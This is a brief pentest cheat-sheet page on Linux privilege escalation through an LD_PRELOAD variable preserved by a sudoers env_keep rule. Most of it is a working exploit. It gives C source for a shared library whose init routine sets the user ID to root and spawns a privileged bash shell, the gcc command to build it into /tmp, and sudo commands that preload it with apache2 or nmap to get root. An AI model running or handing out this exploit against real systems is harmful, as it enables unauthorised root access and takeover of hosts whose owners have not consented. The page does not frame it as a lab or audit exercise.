# LD\_PRELOAD

By including `env_keep += LD_PRELOAD` in the `sudoers` file, you're specifying that when users execute commands with `sudo`, the `LD_PRELOAD` environment variable will be preserved from their original environment to the elevated environment - so library is loaded.&#x20;

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FR2z9NfFdaPZztSyw94Fl%2Fimage.png?alt=media&#x26;token=3b973a33-f48f-4fe3-b6bf-298f0c8dd1cc" alt=""><figcaption></figcaption></figure>

### Create so library&#x20;

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);
	system("/bin/bash -p");
}

# gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
```

### Escalate privilege&#x20;

```bash
sudo LD_PRELOAD=/tmp/preload.so apache2
# or
sudo LD_PRELOAD=/tmp/preload.so nmap
```
